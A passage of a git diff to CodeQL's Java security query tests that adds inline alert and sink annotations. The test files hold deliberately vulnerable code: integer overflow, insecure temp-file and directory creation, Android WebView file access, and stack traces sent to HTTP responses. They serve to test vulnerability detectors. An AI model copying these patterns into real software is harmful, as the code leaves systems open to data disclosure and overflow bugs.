very large - ++data; + ++data; // $ Alert[java/tainted-arithmetic] } public static void test3(int data) { // BAD: may underflow if input data is very small - data--; + data--; // $ Alert[java/tainted-arithmetic] } public static void test4(int data) { // BAD: may underflow if input data is very small - --data; + --data; // $ Alert[java/tainted-arithmetic] } public static void boundsCheckGood(byte[] bs, int off, int len) { diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.qlref b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.qlref index 938a60cfc01..38ee81494e1 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.qlref +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-190/ArithmeticTainted.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticUncontrolled.qlref b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticUncontrolled.qlref index c6d57c73510..e298fb9edc1 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticUncontrolled.qlref +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticUncontrolled.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-190/ArithmeticUncontrolled.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticWithExtremeValues.qlref b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticWithExtremeValues.qlref index 0eaecb36941..f01d5c0f24f 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticWithExtremeValues.qlref +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticWithExtremeValues.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-190/ArithmeticWithExtremeValues.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ComparisonWithWiderType.java b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ComparisonWithWiderType.java index 88c520307a4..ace1fff92c1 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ComparisonWithWiderType.java +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ComparisonWithWiderType.java @@ -1,7 +1,7 @@ public class ComparisonWithWiderType { public void testLt(long l) { // BAD: loop variable is an int, but the upper bound is a long - for (int i = 0; i < l; i++) { + for (int i = 0; i < l; i++) { // $ Alert[java/comparison-with-wider-type] System.out.println(i); } @@ -13,7 +13,7 @@ public class ComparisonWithWiderType { public void testGt(short c) { // BAD: loop variable is a byte, but the upper bound is a short - for (byte b = 0; c > b; b++) { + for (byte b = 0; c > b; b++) { // $ Alert[java/comparison-with-wider-type] System.out.println(b); } } @@ -24,4 +24,4 @@ public class ComparisonWithWiderType { System.out.println(l); } } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ComparisonWithWiderType.qlref b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ComparisonWithWiderType.qlref index 4605189317f..f836a00c9c4 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ComparisonWithWiderType.qlref +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ComparisonWithWiderType.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/ComparisonWithWiderType.ql \ No newline at end of file +query: Security/CWE/CWE-190/ComparisonWithWiderType.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/InformationLoss.qlref b/java/ql/test/query-tests/security/CWE-190/semmle/tests/InformationLoss.qlref index ce7d4116a76..c9ab00052ae 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/InformationLoss.qlref +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/InformationLoss.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/InformationLoss.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/InformationLoss.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/IntMultToLong.qlref b/java/ql/test/query-tests/security/CWE-190/semmle/tests/IntMultToLong.qlref index 9f172bbac42..4616a5ea9dc 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/IntMultToLong.qlref +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/IntMultToLong.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/IntMultToLong.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/IntMultToLong.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-190/semmle/tests/Test.java index f24d16a236c..ed1cf0bbe1f 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/Test.java @@ -18,21 +18,21 @@ class Test { // BAD: result of multiplication will be too large for // int, and will overflow before being stored in the long - long timeInNanos = timeInSeconds * 1000000000; + long timeInNanos = timeInSeconds * 1000000000; // $ Alert[java/integer-multiplication-cast-to-long] } { int timeInSeconds = 1000000; // BAD - long timeInNanos = timeInSeconds * 1000000000 + 4; + long timeInNanos = timeInSeconds * 1000000000 + 4; // $ Alert[java/integer-multiplication-cast-to-long] } { int timeInSeconds = 1000000; // BAD - long timeInNanos = true ? timeInSeconds * 1000000000 + 4 : 0; + long timeInNanos = true ? timeInSeconds * 1000000000 + 4 : 0; // $ Alert[java/integer-multiplication-cast-to-long] } { @@ -65,7 +65,7 @@ class Test { while (i < 1000000) { // BAD: getLargeNumber is implicitly narrowed to an integer // which will result in overflows if it is large - i += getLargeNumber(); + i += getLargeNumber(); // $ Alert[java/implicit-cast-in-compound-assignment] } } @@ -84,16 +84,16 @@ class Test { // FALSE POSITIVE: the query check purely based on the type, it // can't try to // determine whether the value may in fact always be in bounds - i += j; + i += j; // $ Alert[java/implicit-cast-in-compound-assignment] } // ArithmeticWithExtremeValues { int i = 0; - i = Integer.MAX_VALUE; + i = Integer.MAX_VALUE; // $ Source[java/extreme-value-arithmetic] int j = 0; // BAD: overflow - j = i + 1; + j = i + 1; // $ Alert[java/extreme-value-arithmetic] } { @@ -106,9 +106,9 @@ class Test { } { - long i = Long.MIN_VALUE; + long i = Long.MIN_VALUE; // $ Source[java/extreme-value-arithmetic] // BAD: overflow - long j = i - 1; + long j = i - 1; // $ Alert[java/extreme-value-arithmetic] } { @@ -135,16 +135,16 @@ class Test { int i = Integer.MAX_VALUE; if (i < Integer.MAX_VALUE) { // BAD: reassigned after guard - i = Integer.MAX_VALUE; - long j = i + 1; + i = Integer.MAX_VALUE; // $ Source[java/extreme-value-arithmetic] + long j = i + 1; // $ Alert[java/extreme-value-arithmetic] } } { - int i = Integer.MAX_VALUE; + int i = Integer.MAX_VALUE; // $ Source[java/extreme-value-arithmetic] // BAD: guarded the wrong way if (i > Integer.MIN_VALUE) { - long j = i + 1; + long j = i + 1; // $ Alert[java/extreme-value-arithmetic] } } @@ -182,32 +182,32 @@ class Test { } { - byte b = Byte.MAX_VALUE; + byte b = Byte.MAX_VALUE; // $ Source[java/extreme-value-arithmetic] // BAD: extreme byte value is widened to type int, but subsequently // cast to narrower type byte - byte widenedThenNarrowed = (byte) (b + 1); + byte widenedThenNarrowed = (byte) (b + 1); // $ Alert[java/extreme-value-arithmetic] } { - short s = Short.MAX_VALUE; + short s = Short.MAX_VALUE; // $ Source[java/extreme-value-arithmetic] // BAD: extreme short value is widened to type int, but subsequently // cast to narrower type short - short widenedThenNarrowed = (short) (s + 1); + short widenedThenNarrowed = (short) (s + 1); // $ Alert[java/extreme-value-arithmetic] } { - int i = Integer.MAX_VALUE; + int i = Integer.MAX_VALUE; // $ Source[java/extreme-value-arithmetic] // BAD: extreme int value is widened to type long, but subsequently // cast to narrower type int - int widenedThenNarrowed = (int) (i + 1L); + int widenedThenNarrowed = (int) (i + 1L); // $ Alert[java/extreme-value-arithmetic] } // ArithmeticUncontrolled - int data = (new java.security.SecureRandom()).nextInt(); + int data = (new java.security.SecureRandom()).nextInt(); // $ Source[java/uncontrolled-arithmetic] { // BAD: may overflow if data is large - int output = data + 1; + int output = data + 1; // $ Alert[java/uncontrolled-arithmetic] } { @@ -238,15 +238,15 @@ class Test { { // BAD: uncontrolled int value is widened to type long, but // subsequently cast to narrower type int - int widenedThenNarrowed = (int) (data + 10L); + int widenedThenNarrowed = (int) (data + 10L); // $ Alert[java/uncontrolled-arithmetic] } // ArithmeticUncontrolled using Apache RandomUtils - int data2 = RandomUtils.nextInt(); + int data2 = RandomUtils.nextInt(); // $ Source[java/uncontrolled-arithmetic] { // BAD: may overflow if data is large - int output = data2 + 1; + int output = data2 + 1; // $ Alert[java/uncontrolled-arithmetic] } { @@ -277,7 +277,7 @@ class Test { { // BAD: uncontrolled int value is widened to type long, but // subsequently cast to narrower type int - int widenedThenNarrowed = (int) (data2 + 10L); + int widenedThenNarrowed = (int) (data2 + 10L); // $ Alert[java/uncontrolled-arithmetic] } // InformationLoss @@ -286,11 +286,11 @@ class Test { while (arr[2] < 1000000) { // BAD: getLargeNumber is implicitly narrowed to an integer // which will result in overflows if it is large - arr[2] += getLargeNumber(); + arr[2] += getLargeNumber(); // $ Alert[java/implicit-cast-in-compound-assignment] } // BAD. - getAnIntArray()[0] += getLargeNumber(); + getAnIntArray()[0] += getLargeNumber(); // $ Alert[java/implicit-cast-in-compound-assignment] } } diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/Files.java b/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/Files.java index cc8c1a736ad..89875947d76 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/Files.java +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/Files.java @@ -7,12 +7,12 @@ public class Files { private static final int TEMP_DIR_ATTEMPTS = 10000; public static File createTempDir() { - File baseDir = new File(System.getProperty("java.io.tmpdir")); + File baseDir = new File(System.getProperty("java.io.tmpdir")); // $ Alert String baseName = System.currentTimeMillis() + "-"; for (int counter = 0; counter < TEMP_DIR_ATTEMPTS; counter++) { File tempDir = new File(baseDir, baseName + counter); - if (tempDir.mkdir()) { + if (tempDir.mkdir()) { // $ Sink return tempDir; } } diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/TempDirLocalInformationDisclosure.qlref b/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/TempDirLocalInformationDisclosure.qlref index b7836c96d60..5c3a603d216 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/TempDirLocalInformationDisclosure.qlref +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/TempDirLocalInformationDisclosure.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-200/TempDirLocalInformationDisclosure.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/Test.java b/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/Test.java index e1ec05ac51c..45a455a6232 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/Test.java +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure/Test.java @@ -17,7 +17,7 @@ public class Test { void vulnerableFileCreateTempFile() throws IOException { // VULNERABLE VERSION: - File tempVuln = File.createTempFile("random", "file"); + File tempVuln = File.createTempFile("random", "file"); // $ Alert // TO MAKE SAFE REWRITE TO: File tempSafe = Files.createTempFile("random", "file").toFile(); @@ -25,7 +25,7 @@ public class Test { void vulnerableFileCreateTempFileNull() throws IOException { // VULNERABLE VERSION: - File tempVuln = File.createTempFile("random", "file", null); + File tempVuln = File.createTempFile("random", "file", null); // $ Alert // TO MAKE SAFE REWRITE TO: File tempSafe = Files.createTempFile("random", "file").toFile(); @@ -33,10 +33,10 @@ public class Test { void vulnerableFileCreateTempFileTainted() throws IOException { // GIVEN: - File tempDir = new File(System.getProperty("java.io.tmpdir")); + File tempDir = new File(System.getProperty("java.io.tmpdir")); // $ Alert // VULNERABLE VERSION: - File tempVuln = File.createTempFile("random", "file", tempDir); + File tempVuln = File.createTempFile("random", "file", tempDir); // $ Sink // TO MAKE SAFE REWRITE TO (v1): File tempSafe1 = Files.createTempFile(tempDir.toPath(), "random", "file").toFile(); @@ -47,10 +47,10 @@ public class Test { void vulnerableFileCreateTempFileChildTainted() throws IOException { // GIVEN: - File tempDirChild = new File(new File(System.getProperty("java.io.tmpdir")), "/child"); + File tempDirChild = new File(new File(System.getProperty("java.io.tmpdir")), "/child"); // $ Alert // VULNERABLE VERSION: - File tempVuln = File.createTempFile("random", "file", tempDirChild); + File tempVuln = File.createTempFile("random", "file", tempDirChild); // $ Sink // TO MAKE SAFE REWRITE TO: File tempSafe = Files.createTempFile(tempDirChild.toPath(), "random", "file").toFile(); @@ -58,10 +58,10 @@ public class Test { void vulnerableFileCreateTempFileCanonical() throws IOException { // GIVEN: - File tempDir = new File(System.getProperty("java.io.tmpdir")).getCanonicalFile(); + File tempDir = new File(System.getProperty("java.io.tmpdir")).getCanonicalFile(); // $ Alert // VULNERABLE VERSION: - File tempVuln = File.createTempFile("random", "file", tempDir); + File tempVuln = File.createTempFile("random", "file", tempDir); // $ Sink // TO MAKE SAFE REWRITE TO (v1): File tempSafe1 = Files.createTempFile(tempDir.toPath(), "random", "file").toFile(); @@ -72,10 +72,10 @@ public class Test { void vulnerableFileCreateTempFileAbsolute() throws IOException { // GIVEN: - File tempDir = new File(System.getProperty("java.io.tmpdir")).getAbsoluteFile(); + File tempDir = new File(System.getProperty("java.io.tmpdir")).getAbsoluteFile(); // $ Alert // VULNERABLE VERSION: - File tempVuln = File.createTempFile("random", "file", tempDir); + File tempVuln = File.createTempFile("random", "file", tempDir); // $ Sink // TO MAKE SAFE REWRITE TO (v1): File tempSafe1 = Files.createTempFile(tempDir.toPath(), "random", "file").toFile(); @@ -94,7 +94,7 @@ public class Test { void vulnerableGuavaFilesCreateTempDir() { // VULNERABLE VERSION: - File tempDir = com.google.common.io.Files.createTempDir(); + File tempDir = com.google.common.io.Files.createTempDir(); // $ Alert // TO MAKE SAFE REWRITE TO: File tempSafe; @@ -107,10 +107,10 @@ public class Test { void vulnerableFileCreateTempFileMkdirTainted() { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child"); // $ Alert // VULNERABLE VERSION: - tempDirChild.mkdir(); + tempDirChild.mkdir(); // $ Sink // TO MAKE SAFE REWRITE TO (v1): File tempSafe1; @@ -131,10 +131,10 @@ public class Test { void vulnerableFileCreateTempFileMkdirsTainted() { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child"); // $ Alert // VULNERABLE VERSION: - tempDirChild.mkdirs(); + tempDirChild.mkdirs(); // $ Sink // TO MAKE SAFE REWRITE TO (v1): File tempSafe1; @@ -155,8 +155,8 @@ public class Test { void vulnerableFileCreateTempFilesWrite1() throws IOException { // VULNERABLE VERSION: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child.txt"); - Files.write(tempDirChild.toPath(), Arrays.asList("secret"), StandardCharsets.UTF_8, StandardOpenOption.CREATE); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child.txt"); // $ Alert + Files.write(tempDirChild.toPath(), Arrays.asList("secret"), StandardCharsets.UTF_8, StandardOpenOption.CREATE); // $ Sink // TO MAKE SAFE REWRITE TO (v1): // Use this version if you care that the file has the exact path of `[java.io.tmpdir]/child.txt` @@ -184,8 +184,8 @@ public class Test { byte[] byteArrray = secret.getBytes(); // VULNERABLE VERSION: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child.txt"); - Files.write(tempDirChild.toPath(), byteArrray, StandardOpenOption.CREATE); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child.txt"); // $ Alert + Files.write(tempDirChild.toPath(), byteArrray, StandardOpenOption.CREATE); // $ Sink // TO MAKE SAFE REWRITE TO (v1): // Use this version if you care that the file has the exact path of `[java.io.tmpdir]/child.txt` @@ -201,10 +201,10 @@ public class Test { void vulnerableFileCreateTempFilesNewBufferedWriter() throws IOException { // GIVEN: - Path tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-buffered-writer.txt").toPath(); + Path tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-buffered-writer.txt").toPath(); // $ Alert // VULNERABLE VERSION: - Files.newBufferedWriter(tempDirChild); + Files.newBufferedWriter(tempDirChild); // $ Sink // TO MAKE SAFE REWRITE TO: Files.createFile(tempDirChild, PosixFilePermissions.asFileAttribute(EnumSet.of(PosixFilePermission.OWNER_READ, PosixFilePermission.OWNER_WRITE))); @@ -213,10 +213,10 @@ public class Test { void vulnerableFileCreateTempFilesNewOutputStream() throws IOException { // GIVEN: - Path tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-output-stream.txt").toPath(); + Path tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-output-stream.txt").toPath(); // $ Alert // VULNERABLE VERSION: - Files.newOutputStream(tempDirChild).close(); + Files.newOutputStream(tempDirChild).close(); // $ Sink // TO MAKE SAFE REWRITE TO: Files.createFile(tempDirChild, PosixFilePermissions.asFileAttribute(EnumSet.of(PosixFilePermission.OWNER_READ, PosixFilePermission.OWNER_WRITE))); @@ -225,10 +225,10 @@ public class Test { void vulnerableFileCreateTempFilesCreateFile() throws IOException { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-file.txt"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-file.txt"); // $ Alert // VULNERABLE VERSION: - Files.createFile(tempDirChild.toPath()); + Files.createFile(tempDirChild.toPath()); // $ Sink // TO MAKE SAFE REWRITE TO: Files.createFile(tempDirChild.toPath(), PosixFilePermissions.asFileAttribute(EnumSet.of(PosixFilePermission.OWNER_READ, PosixFilePermission.OWNER_WRITE))); @@ -246,10 +246,10 @@ public class Test { void vulnerableFileCreateDirectory() throws IOException { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); // $ Alert // VULNERABLE VERSION: - Files.createDirectory(tempDirChild.toPath()); // Creates with permissions 'drwxr-xr-x' + Files.createDirectory(tempDirChild.toPath()); // $ Sink // Creates with permissions 'drwxr-xr-x' // TO MAKE SAFE REWRITE TO: Files.createDirectory(tempDirChild.toPath(), PosixFilePermissions.asFileAttribute(EnumSet.of(PosixFilePermission.OWNER_READ, PosixFilePermission.OWNER_WRITE))); @@ -257,10 +257,10 @@ public class Test { void vulnerableFileCreateDirectories() throws IOException { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directories/child"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directories/child"); // $ Alert // VULNERABLE VERSION: - Files.createDirectories(tempDirChild.toPath()); // Creates with permissions 'drwxr-xr-x' + Files.createDirectories(tempDirChild.toPath()); // $ Sink // Creates with permissions 'drwxr-xr-x' // TO MAKE SAFE REWRITE TO: Files.createDirectories(tempDirChild.toPath(), PosixFilePermissions.asFileAttribute(EnumSet.of(PosixFilePermission.OWNER_READ, PosixFilePermission.OWNER_WRITE))); @@ -291,11 +291,11 @@ public class Test { void vulnerableBecauseInvertedPosixCheck() throws IOException { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); // $ Alert // Oops, this check should be inverted if (tempDirChild.toPath().getFileSystem().supportedFileAttributeViews().contains("posix")) { - Files.createDirectory(tempDirChild.toPath()); // Creates with permissions 'drwxr-xr-x' + Files.createDirectory(tempDirChild.toPath()); // $ Sink // Creates with permissions 'drwxr-xr-x' } } @@ -310,20 +310,20 @@ public class Test { void vulnerableBecauseCheckingForNotLinux() throws IOException { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); // $ Alert if (!SystemUtils.IS_OS_LINUX) { - Files.createDirectory(tempDirChild.toPath()); + Files.createDirectory(tempDirChild.toPath()); // $ Sink } } void vulnerableBecauseInvertedFileSeparatorCheck() throws IOException { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); // $ Alert // Oops, this check should be inverted if (File.separatorChar != '\\') { - Files.createDirectory(tempDirChild.toPath()); // Creates with permissions 'drwxr-xr-x' + Files.createDirectory(tempDirChild.toPath()); // $ Sink // Creates with permissions 'drwxr-xr-x' } } @@ -347,23 +347,23 @@ public class Test { void vulnerableBecauseFileSeparatorCheckElseCase() throws IOException { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); // $ Alert if (File.separatorChar == '\\') { Files.createDirectory(tempDirChild.toPath()); // Safe } else { - Files.createDirectory(tempDirChild.toPath()); // Vulnerable + Files.createDirectory(tempDirChild.toPath()); // $ Sink // Vulnerable } } void vulnerableBecauseInvertedFileSeperatorCheckElseCase() throws IOException { // GIVEN: - File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); + File tempDirChild = new File(System.getProperty("java.io.tmpdir"), "/child-create-directory"); // $ Alert if (File.separatorChar != '/') { Files.createDirectory(tempDirChild.toPath()); // Safe } else { - Files.createDirectory(tempDirChild.toPath()); // Vulnerable + Files.createDirectory(tempDirChild.toPath()); // $ Sink // Vulnerable } } } diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewContentAccess.java b/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewContentAccess.java index 7dd4aa89347..8901b40715b 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewContentAccess.java +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewContentAccess.java @@ -12,7 +12,7 @@ interface WebViewGetter { public class WebViewContentAccess extends Activity { void enableContentAccess(WebView webview) { - webview.getSettings().setAllowContentAccess(true); + webview.getSettings().setAllowContentAccess(true); // $ Alert[java/android/websettings-allow-content-access] } void disableContentAccess(WebView webview) { @@ -35,25 +35,25 @@ public class WebViewContentAccess extends Activity { void configureWebViewUnsafe(WebView view1, WebViewGetter getter) { WebSettings settings; - view1.getSettings().setAllowContentAccess(true); + view1.getSettings().setAllowContentAccess(true); // $ Alert[java/android/websettings-allow-content-access] // Cast expression - WebView view2 = (WebView) findViewById(0); + WebView view2 = (WebView) findViewById(0); // $ Alert[java/android/websettings-allow-content-access] settings = view2.getSettings(); - settings.setAllowContentAccess(true); + settings.setAllowContentAccess(true); // $ Alert[java/android/websettings-allow-content-access] // Constructor - WebView view3 = new WebView(this); + WebView view3 = new WebView(this); // $ Alert[java/android/websettings-allow-content-access] settings = view3.getSettings(); - settings.setAllowContentAccess(true); + settings.setAllowContentAccess(true); // $ Alert[java/android/websettings-allow-content-access] // Method access - WebView view4 = getter.getAWebView(); + WebView view4 = getter.getAWebView(); // $ Alert[java/android/websettings-allow-content-access] settings = view4.getSettings(); - settings.setAllowContentAccess(true); + settings.setAllowContentAccess(true); // $ Alert[java/android/websettings-allow-content-access] - enableContentAccess(getter.getAWebView()); + enableContentAccess(getter.getAWebView()); // $ Alert[java/android/websettings-allow-content-access] - WebView view5 = getter.getAWebView(); + WebView view5 = getter.getAWebView(); // $ Alert[java/android/websettings-allow-content-access] } } diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewContentAccess.qlref b/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewContentAccess.qlref index 7c9eba28b6e..cb5fbbc2676 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewContentAccess.qlref +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewContentAccess.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-200/AndroidWebViewSettingsAllowsContentAccess.ql \ No newline at end of file +query: Security/CWE/CWE-200/AndroidWebViewSettingsAllowsContentAccess.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewFileAccess.java b/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewFileAccess.java index f42dbfaa84a..72b054e2589 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewFileAccess.java +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewFileAccess.java @@ -5,11 +5,11 @@ class WebViewFileAccess { void configure(WebView view) { WebSettings settings = view.getSettings(); - settings.setAllowFileAccess(true); + settings.setAllowFileAccess(true); // $ Alert[java/android/websettings-file-access] - settings.setAllowFileAccessFromFileURLs(true); + settings.setAllowFileAccessFromFileURLs(true); // $ Alert[java/android/websettings-file-access] - settings.setAllowUniversalAccessFromFileURLs(true); + settings.setAllowUniversalAccessFromFileURLs(true); // $ Alert[java/android/websettings-file-access] } void configureSafe(WebView view) { diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewFileAccess.qlref b/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewFileAccess.qlref index 6c3224a4a61..af0434e7711 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewFileAccess.qlref +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/WebViewAccess/WebViewFileAccess.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-200/AndroidWebViewSettingsFileAccess.ql +query: Security/CWE/CWE-200/AndroidWebViewSettingsFileAccess.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-209/semmle/tests/SensitiveDataExposureThroughErrorMessage.qlref b/java/ql/test/query-tests/security/CWE-209/semmle/tests/SensitiveDataExposureThroughErrorMessage.qlref index 25d68a7fcef..c763b46a077 100644 --- a/java/ql/test/query-tests/security/CWE-209/semmle/tests/SensitiveDataExposureThroughErrorMessage.qlref +++ b/java/ql/test/query-tests/security/CWE-209/semmle/tests/SensitiveDataExposureThroughErrorMessage.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-209/SensitiveDataExposureThroughErrorMessage.ql +query: Security/CWE/CWE-209/SensitiveDataExposureThroughErrorMessage.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-209/semmle/tests/StackTraceExposure.qlref b/java/ql/test/query-tests/security/CWE-209/semmle/tests/StackTraceExposure.qlref index ea39c4fe8c6..1e5f0d4e2b6 100644 --- a/java/ql/test/query-tests/security/CWE-209/semmle/tests/StackTraceExposure.qlref +++ b/java/ql/test/query-tests/security/CWE-209/semmle/tests/StackTraceExposure.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-209/StackTraceExposure.ql +query: Security/CWE/CWE-209/StackTraceExposure.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-209/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-209/semmle/tests/Test.java index 54d64f05ff6..51f48471be8 100644 --- a/java/ql/test/query-tests/security/CWE-209/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-209/semmle/tests/Test.java @@ -22,7 +22,7 @@ class Test extends HttpServlet { doSomeWork(); } catch (NullPointerException ex) { // BAD: printing a stack trace back to the response - ex.printStackTrace(response.getWriter()); + ex.printStackTrace(response.getWriter()); // $ Alert[java/stack-trace-exposure] return; } @@ -32,7 +32,7 @@ class Test extends HttpServlet { // BAD: printing a stack trace back to the response response.sendError( HttpServletResponse.SC_INTERNAL_SERVER_ERROR, - printTrace(ex)); + printTrace(ex)); // $ Alert[java/stack-trace-exposure] return; } @@ -42,7 +42,7 @@ class Test extends HttpServlet { // BAD: printing a stack trace back to the response response.sendError( HttpServletResponse.SC_INTERNAL_SERVER_ERROR, - printTrace2(ex)); + printTrace2(ex)); // $ Alert[java/stack-trace-exposure] return; } @@ -52,7 +52,7 @@ class Test extends HttpServlet { // BAD: printing an exception message back to the response response.sendError( HttpServletResponse.SC_INTERNAL_SERVER_ERROR, - ex.getMessage()); + ex.getMessage()); // $ Alert[java/error-message-exposure] } } diff --git 